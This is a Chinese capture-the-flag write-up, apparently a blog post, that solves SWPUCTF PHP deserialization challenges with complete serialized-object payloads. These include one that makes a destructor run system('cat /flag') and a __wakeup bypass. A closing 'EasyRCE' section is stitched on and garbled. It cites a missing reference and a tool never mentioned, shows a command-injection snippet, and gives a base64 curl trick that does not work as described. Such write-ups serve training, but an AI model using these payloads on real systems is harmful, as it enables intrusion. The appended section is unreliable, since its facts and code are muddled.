[SWPUCTF 2022 新生赛]部分web

[SWPUCTF 2022 新生赛]1z_unserialize

分析题目

这段 PHP 代码定义了一个名为 lyh 的类,并在其中定义了一些属性和方法。然后,它使用 unserialize 函数来反序列化从 POST 请求中接收到的数据,并最后使用 highlight_file 函数高亮显示当前文件的源代码。

类定义 (lyh)

  • 属性:

    • $url: 一个公共属性,被初始化为字符串 'NSSCTF.com'。
    • $lt: 一个公共属性,没有初始化。
    • $lly: 一个公共属性,没有初始化。
  • 方法:

    • __destruct(): 这是一个析构函数,当对象不再被引用时,它会自动被调用。在这个函数中,它首先从 $this->lt 获取一个值,并将其存储在变量 $a 中。然后,它尝试将 $a 作为函数来调用,并传递 $this->lly 作为参数。

代码执行流程

  1. 接收 POST 数据unserialize($_POST['nss']) 这行代码会从 POST 请求中获取名为 'nss' 的数据,并尝试将其反序列化。
  2. 反序列化: 如果 POST 数据包含有效的序列化对象,unserialize 函数会将其转换回 PHP 对象。在这种情况下,它会尝试创建一个 lyh 类的实例。
  3. 对象销毁与代码执行: 当 PHP 脚本执行完毕或对象不再被引用时,__destruct 析构函数会被调用。如果 $lt 属性包含一个可调用的值(例如一个函数名或一个闭包),那么 $a($this->lly) 会执行该函数,并将 $lly 作为参数传递。
  4. 文件高亮highlight_file(__FILE__) 会高亮显示当前 PHP 文件的源代码。

这个题目是一题很标准的反序列化

$a = $this->lt;

$a($this->lly);

这是这一题的注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了

构造链条

得到以下payload=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

接着传参发现能够正常执行命令

然后将 ls 改为其他命令,如 cat /flag 就可以查看 flag 文件:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

分析代码

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

首先定义了一个名为 X 的类,它有一个公共属性 $x,该属性被初始化为当前文件的路径(由 __FILE__ 魔术常量提供)。

当创建 X 类的新实例时,就调用它构建的函数,它接受一个参数 $x 并将其赋值给类的 $x 属性。

当对象被反序列化时,__wakeup 方法会被自动调用。这个方法的目的是确保 $x 属性的值始终是当前文件的路径,即使它在反序列化之前被更改了。

当对象被销毁时,__destruct 方法会被自动调用。这个方法使用 highlight_file 函数来高亮并显示 $x 属性所指向的文件的内容。注释提到了一个名为 fllllllag.php 的文件,这可能是一个提示,表示真正的标志(flag)可能在该文件中。

所以我们的目的就是获得fllllllag.php这个文件

将fllllllag.php序列化O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

因为要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过

将O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过

SWPUCTF 2021 新生赛]ez_unserialize

打开一看只有一张动图

先查看页面源码

看见有disallow,告诉搜索引擎都有哪些文件不被抓取,也成为禁止抓取

一般情况下,大多数网站创建者或管理员都会在网站的根目录放置一个名为robots.txt的文本文件,用来控制自己的网站哪些目录允许SE搜索引擎爬行并收录,哪些目录禁止搜索引擎收录,Disallow,正是robots.txt文件中设置禁止搜索引擎收录哪些目录的一个词语。

所以我们去看看robots.txt

看到有cl45s.php文件,打开看看

这就是题目

  1. error_reporting(0);:关闭所有 PHP 错误报告。这通常是一个不安全的做法,因为它会隐藏潜在的问题和漏洞。

  2. show_source("cl45s.php");:显示 cl45s.php 文件的源代码。这通常用于调试,但在生产环境中是不安全的,因为它会泄露源代码。

  3. class wllm { ... }:定义了一个名为 wllm 的类。这个类有两个公共属性:$admin 和 $passwd,以及两个魔术方法:__construct() 和 __destruct()

    • __construct():构造函数,当创建 wllm 类的实例时会自动调用。它将 $admin 设置为 "user",将 $passwd 设置为 "123456"。
    • __destruct():析构函数,当对象不再被引用时会自动调用。它检查 $admin 和 $passwd 的值。如果它们分别是 "admin" 和 "ctf",则包含并执行 flag.php 文件,并输出 $flag 变量的值。否则,它会输出 $admin$passwd 的值,并加上 "Just a bit more!"。
  4. $p = $_GET['p'];:从 GET 请求中获取名为 p 的参数,并将其值赋给变量 $p

  5. unserialize($p);:对 $p 进行反序列化。如果 $p 包含有效的 PHP 对象序列化数据,那么这些数据将被转换回 PHP 对象。由于 wllm 类定义了 __destruct() 方法,当反序列化完成时,该方法将被自动调用。

复制源码,把不需要的部分删掉,再加上序列化的代码,将admin和passwd的值改为触发if条件的值,即可得到payload

得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

构造payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

### 关于 SWPUCTF 2021 新生 EasyRCE 的解题思路 EasyRCE 是 SWPUCTF 2021 新生的一道挑战题,其目标是通过远程命令执行(Remote Code Execution, RCE)获取 flag。以下是该题目的可能解法和提示: #### 背景分析 根据已知信息[^3],本题的最终 flag 为 `NSSCTF{3949399b-ef5a-4159-8b6c-e0bab1daf36a}`。这表明题目设计者希望参者能够成功完成一次有效的 RCE 攻击并提取到隐藏的信息。 #### 技术细节与解决方法 1. **漏洞利用** 此类题目通常基于某种服务端脚本或程序中的安全缺陷展开攻击向量。例如 PHP、Python 或其他语言编写的 Web 应用可能存在未过滤输入参数的情况。如果存在类似以下代码片段,则可尝试注入恶意指令: ```php <?php $cmd = $_GET['command']; system($cmd); ?> ``` 上述例子展示了未经验证直接调用用户传入数据作为系统命令执行的风险。针对此场景,可以通过构造特定 URL 参数触发任意 shell 命令运行环境。 2. **Flag 提取路径猜测** 结合常规 CTF 比习惯以及给出的结果字符串形式推测,实际存储位置很可能位于服务器文件系统内部预定义目录下某个文本文件之中;或者由动态生成算法计算得出再返回给客户端显示出来。因此除了单纯依靠网络交互层面寻找突破口之外还需要考虑本地资源访问权限提升等相关知识点学习掌握以便更高效地达成目标。 3. **工具辅助检测与调试技巧分享** - 使用 Burp Suite 截获请求包并对关键字段进行修改测试不同响应表现差异从而定位潜在危险接口地址及其对应功能实现方式。 - 如果遇到加密传输机制干扰正常分析流程的话记得先确认所采用的具体协议类型然后再决定是否引入第三方库支持比如前面提到过的PyCrypto用于处理传统对称密钥运算需求场合当中去吧! ```bash curl http://example.com/vuln_endpoint?param=$(echo 'id' | base64) ``` 以上示例演示了如何编码 Base64 后传递至远端解析器以规避某些字符转义规则限制进而达到预期效果展示真实操作系统身份详情等功能特性介绍完毕啦各位小伙伴们快来一起动手实践起来看看能不能顺利通关呀😊 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值